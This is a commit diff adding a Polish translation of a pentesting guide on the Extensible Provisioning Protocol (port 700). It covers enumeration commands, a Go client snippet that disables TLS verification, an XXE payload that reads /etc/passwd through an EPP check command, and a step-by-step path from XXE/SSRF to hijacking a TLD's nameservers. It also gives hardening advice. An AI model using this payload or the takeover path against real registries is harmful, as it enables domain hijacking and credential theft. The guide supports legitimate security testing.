Translated ['src/network-services-pentesting/700-pentesting-epp.md'] to

This commit is contained in:
Translator 2025-08-04 22:13:39 +00:00
parent 78b6b264ae
commit abd01927e1

View File

@ -4,7 +4,7 @@
## Podstawowe informacje
Extensible Provisioning Protocol (EPP) to protokół sieciowy używany do **zarządzania nazwami domen i innymi zasobami internetowymi** przez rejestry nazw domen i rejestratorów. Umożliwia automatyzację procesów rejestracji, odnawiania, transferu i usuwania nazw domen, zapewniając ustandaryzowaną i bezpieczną ramę komunikacyjną między różnymi podmiotami w systemie nazw domen (DNS). EPP został zaprojektowany jako elastyczny i rozszerzalny, co pozwala na dodawanie nowych funkcji i poleceń w miarę ewolucji potrzeb infrastruktury internetowej.
Extensible Provisioning Protocol (EPP) to protokół sieciowy używany do **zarządzania nazwami domen i innymi zasobami internetowymi** przez rejestry nazw domen i rejestratorów. Umożliwia automatyzację procesów rejestracji, odnawiania, transferu i usuwania nazw domen, zapewniając ustandaryzowany i bezpieczny framework komunikacyjny między różnymi podmiotami w systemie nazw domen (DNS). EPP został zaprojektowany jako elastyczny i rozszerzalny, co pozwala na dodawanie nowych funkcji i poleceń w miarę ewolucji potrzeb infrastruktury internetowej.
W zasadzie jest to jeden z protokołów, które **rejestrator TLD będzie oferować rejestratorom domen** do rejestrowania nowych domen w TLD.
@ -12,4 +12,104 @@ W zasadzie jest to jeden z protokołów, które **rejestrator TLD będzie oferow
[**W tym bardzo interesującym artykule**](https://hackcompute.com/hacking-epp-servers/) można zobaczyć, jak niektórzy badacze bezpieczeństwa odkryli, że kilka **implementacji tego protokołu** było podatnych na XXE (XML External Entity), ponieważ protokół ten używa XML do komunikacji, co mogłoby pozwolić atakującym na przejęcie dziesiątek różnych TLD.
---
## Enumeracja i rekonesans
Serwery EPP prawie zawsze nasłuchują na TCP `700/tcp` przez TLS. Typowe wdrożenie również wymusza **mutual-TLS (mTLS)**, więc klient musi przedstawić ważny certyfikat wydany przez CA rejestru. Niemniej jednak, wiele prywatnych testów lub wdrożeń przedprodukcyjnych zapomina o tej kontroli:
```bash
# Banner-grabbing / TLS inspection
nmap -p700 --script ssl-cert,ssl-enum-ciphers <target>
# Check if mTLS is *really* required (it frequently is not!)
openssl s_client -connect <target>:700 -quiet \
-servername epp.test 2>/dev/null | head
```
Jeśli serwer nie zakończy połączenia po handshake TLS, możesz spróbować wysłać nieautoryzowaną `<hello/>` wiadomość:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<hello/>
</epp>
```
### Klienci open-source przydatni do testowania
* **epp-client (Go)** aktywnie utrzymywany, wspiera TCP/TLS oraz EPP-over-HTTPS (RFC 8730):
`go install github.com/domainr/epp/cmd/epp@latest`
* **gandi/go-epp** minimalna biblioteka klienta, która może być łatwo instrumentowana do fuzzingu lub workflow w stylu nuclei.
* **afq984/php-epp-client** implementacja PHP używana przez wielu małych rejestratorów; wygodny cel do przeglądu kodu.
Przykładowy minimalny skrypt logowania+sprawdzania z Go epp-client:
```go
package main
import (
"github.com/domainr/epp"
"crypto/tls"
)
func main() {
cfg := &tls.Config{InsecureSkipVerify: true}
c, _ := epp.DialTLS("epp.test:700", cfg)
c.Login("CLIENT_ID", "PASSWORD", nil)
resp, _ := c.DomainCheck("example","com")
println(resp)
}
```
---
## Wspólne Słabości i Luki w Bezpieczeństwie 2023-2025
| Rok | Komponent | CWE | Wpływ |
|-----|-----------|-----|-------|
| 2023 | CoCCA Registry < 3.5 | CWE-611 XXE | Zdalne odczytywanie plików i SSRF za pomocą spreparowanego `<epp>` ładunku (łatka: 2023-11-02) |
| 2024 | FRED EPP Server 2.x | CWE-322 Niewystarczająca walidacja certyfikatów TLS | Ominięcie mTLS umożliwiło nieautoryzowane logowanie rejestratora |
| 2025 | Własny panel rejestratora | CWE-306 Brak uwierzytelnienia dla krytycznej funkcji | Punkt zatwierdzania transferu domeny ujawniony przez most EPP-HTTP |
### Ładunek XXE / SSRF (działa przeciwko wielu implementacjom Java/Spring)
```xml
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<command>
<check>
<domain:check xmlns:domain="urn:ietf:params:xml:ns:domain-1.0">
<domain:name>&xxe;</domain:name>
</domain:check>
</check>
</command>
</epp>
```
Kiedy parser jest źle skonfigurowany (`XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES=true`), zawartość pliku jest zwracana w strukturze `<resData>`.
### Inne typowe ustalenia
1. **Słaba polityka haseł** hasła logowania EPP krótsze niż 8 znaków; atak siłowy jest często wykonalny, ponieważ specyfikacja tylko ZALECA (nie wymaga) ograniczanie szybkości.
2. **Brak statusu `registryLock` / `serverUpdateProhibited`** po uwierzytelnieniu, atakujący mogą natychmiast zaktualizować rekordy NS i ukraść ruch.
3. **Niepodpisane wiadomości poll** niektóre implementacje wciąż nie podpisują wiadomości Q&A poll, co umożliwia spoofing/phishing operatorów rejestrów.
---
## Ścieżka ataku: Od zera do przejęcia TLD
1. Odkryj punkt końcowy EPP (często ukryty za ogólnym hostem, takim jak `ot&e.<tld>.nic.<cc>`).
2. Wykorzystaj jedną z powyższych słabości, aby uzyskać dane uwierzytelniające na poziomie rejestratora (XXE → SSRF do IMDSv1, eksfiltracja danych uwierzytelniających lub obejście TLS).
3. Wydaj żądania `<update>`, aby zmienić rekordy `hostObj` domeny na serwery nazw kontrolowane przez atakującego.
4. (Opcjonalnie) Złóż `<transfer>`, aby przenieść domenę do rejestratora kontrolowanego przez atakującego wiele rejestrów wciąż polega na **jednym kodzie autoryzacyjnym**.
5. Zysk: pełna kontrola nad strefą DNS, możliwość żądania certyfikatów TLS za pośrednictwem ACME.
---
## Środki obronne i wzmocnienie
* Wymuś **mTLS z certyfikatami klienta per-rejestrator** i przypnij CA rejestru.
* Ustaw `parserFeature secure-processing=true` lub równoważne, aby zabić XXE.
* Przeprowadzaj **ciągłe fuzzing** parsera XML (np. z `go-fuzz` lub `jazzer` dla Javy).
* Wdrażaj statusy **Registry Lock / server*Prohibited** dla domen o wysokiej wartości.
* Monitoruj kolejkę `poll` pod kątem podejrzanych poleceń `<transfer>` lub `<update>` i powiadamiaj w czasie rzeczywistym.
* Zmiany w umowach dotyczących nadużyć DNS ICANN 2024 wymagają od rejestrów udowodnienia kontroli szybkości i autoryzacji wykorzystaj je.
## Odnośniki
* ICANN Security and Stability Advisory Committee (SSAC). "SAC118: Consequences of Registry Operator Failure to Implement EPP Security Controls". 2024.
* HackCompute "Hacking EPP servers: abusing XXE to hijack TLDs" (2023).
{{#include ../banners/hacktricks-training.md}}